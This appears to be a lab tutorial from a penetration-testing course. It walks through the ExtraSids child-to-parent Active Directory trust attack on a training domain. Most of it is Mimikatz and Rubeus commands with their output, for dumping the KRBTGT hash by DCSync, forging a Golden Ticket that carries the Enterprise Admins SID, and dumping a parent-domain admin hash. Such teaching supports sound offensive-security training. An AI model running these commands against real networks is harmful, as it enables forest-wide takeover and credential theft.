SID History Primer
The sidHistory attribute is used in migration scenarios. If a user in one domain is migrated to another domain, a new account is created in the second domain. The original user's SID will be added to the new user's SID history attribute, ensuring that the user can still access resources in the original domain.
SID history is intended to work across domains, but can work in the same domain. Using Mimikatz, an attacker can perform SID history injection and add an administrator account to the SID History attribute of an account they control. When logging in with this account, all of the SIDs associated with the account are added to the user's token.
This token is used to determine what resources the account can access. If the SID of a Domain Admin account is added to the SID History attribute of this account, then this account will be able to perform DCSync and create a Golden Ticket or a Kerberos ticket-granting ticket (TGT), which will allow for us to authenticate as any account in the domain of our choosing for further persistence.
ExtraSids Attack - Mimikatz
This attack allows for the compromise of a parent domain once the child domain has been compromised. Within the same AD forest, the sidHistory property is respected due to a lack of SID Filtering protection. SID Filtering is a protection put in place to filter out authentication requests from a domain in another forest across a trust. Therefore, if a user in a child domain that has their sidHistory set to the Enterprise Admins group (which only exists in the parent domain), they are treated as a member of this group, which allows for administrative access to the entire forest. In other words, we are creating a Golden Ticket from the compromised child domain to compromise the parent domain. In this case, we will leverage the SIDHistory to grant an account (or non-existent account) Enterprise Admin rights by modifying this attribute to contain the SID for the Enterprise Admins group, which will give us full access to the parent domain without actually being part of the group.
To perform this attack after compromising a child domain, we need the following:
- The KRBTGT hash for the child domain
- The SID for the child domain
- The name of a target user in the child domain (does not need to exist!)
- The FQDN of the child domain.
- The SID of the Enterprise Admins group of the root domain.
- With this data collected, the attack can be performed with Mimikatz.
Now we can gather each piece of data required to perform the ExtraSids attack. First, we need to obtain the NT hash for the KRBTGT account, which is a service account for the Key Distribution Center (KDC) in Active Directory. The account KRB (Kerberos) TGT (Ticket Granting Ticket) is used to encrypt/sign all Kerberos tickets granted within a given domain. Domain controllers use the account's password to decrypt and validate Kerberos tickets. The KRBTGT account can be used to create Kerberos TGT tickets that can be used to request TGS tickets for any service on any host in the domain. This is also known as the Golden Ticket attack and is a well-known persistence mechanism for attackers in Active Directory environments. The only way to invalidate a Golden Ticket is to change the password of the KRBTGT account, which should be done periodically and definitely after a penetration test assessment where full domain compromise is reached.
Since we have compromised the child domain, we can log in as a Domain Admin or similar and perform the DCSync attack to obtain the NT hash for the KRBTGT account.
Obtaining the KRBTGT Account's NT Hash using Mimikatz
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> mimikatz# lsadump::dcsync /user:LOGISTICS\krbtgt
[DC] 'LOGISTICS.INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'LOGISTICS\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID : 502
Credentials:
Hash NTLM: 9d765b482771505cbe97411065964d5f
ntlm- 0: 9d765b482771505cbe97411065964d5f
lm - 0: 69df324191d4a80f0ed100c10f20561e
We can use the PowerView Get-DomainSID function to get the SID for the child domain, but this is also visible in the Mimikatz output above.
Using Get-DomainSID
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> Get-DomainSID
S-1-5-21-2806153819-209893948-922872689
Next, we can use Get-DomainGroup from PowerView to obtain the SID for the Enterprise Admins group in the parent domain. We could also do this with the Get-ADGroup cmdlet with a command such as Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL".
Obtaining Enterprise Admins Group's SID using Get-DomainGroup
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
distinguishedname objectsid
----------------- ---------
CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519
At this point, we have gathered the following data points:
- The KRBTGT hash for the child domain: 9d765b482771505cbe97411065964d5f
- The SID for the child domain: S-1-5-21-2806153819-209893948-922872689
- The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We'll choose a fake user: hacker
- The FQDN of the child domain: LOGISTICS.INLANEFREIGHT.LOCAL
- The SID of the Enterprise Admins group of the root domain: S-1-5-21-3842939050-3880317879-2865463114-519
Before the attack, we can confirm no access to the file system of the DC in the parent domain.
Using ls to Confirm No Access
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$
ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Using Mimikatz and the data listed above, we can create a Golden Ticket to access all resources within the parent domain.
Creating a Golden Ticket with Mimikatz
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> mimikatz.exe
mimikatz# kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
User : hacker
Domain : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
SID : S-1-5-21-2806153819-209893948-922872689
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey: 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime : 3/28/2022 7:59:50 PM ; 3/25/2032 7:59:50 PM ; 3/25/2032 7:59:50 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'hacker @ LOGISTICS.INLANEFREIGHT.LOCAL' successfully submitted for current session
We can confirm that the Kerberos ticket for the non-existent hacker user is residing in memory.
Confirming a Kerberos Ticket is in Memory Using klist
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> klist
Current LogonId is 0:0xf6462
Cached Tickets: (1)
#0> Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 3/28/2022 19:59:50 (local)
End Time: 3/25/2032 19:59:50 (local)
Renew Time: 3/25/2032 19:59:50 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
From here, it is possible to access any resources within the parent domain, and we could compromise the parent domain in several ways.
Listing the Entire C: Drive of the Domain Controller
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$
Volume in drive \\academy-ea-dc01.inlanefreight.local\c$ has no label.
Volume Serial Number is B8B3-0D72
Directory of \\academy-ea-dc01.inlanefreight.local\c$
09/15/2018 12:19 AM PerfLogs
10/06/2021 01:50 PM Program Files
09/15/2018 02:06 AM Program Files (x86)
11/19/2021 12:17 PM Shares
10/06/2021 10:31 AM Users
03/21/2022 12:18 PM Windows
0 File(s) 0 bytes
6 Dir(s) 18,080,178,176 bytes free
ExtraSids Attack - Rubeus
We can also perform this attack using Rubeus. First, again, we'll confirm that we cannot access the parent domain Domain Controller's file system.
Using ls to Confirm No Access Before Running Rubeus
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$
ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem], UnauthorizedAcces
sException
+ FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Next, we will formulate our Rubeus command using the data we retrieved above. The /rc4 flag is the NT hash for the KRBTGT account. The /sids flag will tell Rubeus to create our Golden Ticket giving us the same rights as members of the Enterprise Admins group in the parent domain.
Creating a Golden Ticket using Rubeus
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Build TGT
[*] Building PAC
[*] Domain : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
[*] SID : S-1-5-21-2806153819-209893948-922872689
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ExtraSIDs : S-1-5-21-3842939050-3880317879-2865463114-519
[*] ServiceKey : 9D765B482771505CBE97411065964D5F
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 9D765B482771505CBE97411065964D5F
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : LOGISTICS.INLANEFREIGHT.LOCAL
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'hacker@LOGISTICS.INLANEFREIGHT.LOCAL'
[*] AuthTime : 3/29/2022 10:06:41 AM
[*] StartTime : 3/29/2022 10:06:41 AM
[*] EndTime : 3/29/2022 8:06:41 PM
[*] RenewTill : 4/5/2022 10:06:41 AM
[*] base64(ticket.kirbi):
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[+] Ticket successfully imported!
Once again, we can check that the ticket is in memory using the klist command.
Confirming the Ticket is in Memory Using klist
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\htb> klist
Current LogonId is 0:0xf6495
Cached Tickets: (1)
#0> Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 3/29/2022 10:06:41 (local)
End Time: 3/29/2022 20:06:41 (local)
Renew Time: 4/5/2022 10:06:41 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
Finally, we can test this access by performing a DCSync attack against the parent domain, targeting the lab_adm Domain Admin user.
Performing a DCSync Attack
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
PS C:\Tools\mimikatz\x64> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : lab_adm
** SAM ACCOUNT **
SAM Username : lab_adm
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID : 1001
Credentials:
Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
lm - 0: 6053227db44e996fe16b107d9d1e95a0
When dealing with multiple domains and our target domain is not the same as the user's domain, we will need to specify the exact domain to perform the DCSync operation on the particular domain controller. The command for this would look like the following:
Attacking Domain Trusts - Child -> Parent Trusts - from Windows
mimikatz# lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : lab_adm
** SAM ACCOUNT **
SAM Username : lab_adm
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID : 1001
Credentials:
Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
lm - 0: 6053227db44e996fe16b107d9d1e95a0
Next Steps
Now that we've walked through child --> parent domain compromise from a Windows attack box, we'll cover a few ways to achieve the same if we are constrained to a Linux attack host.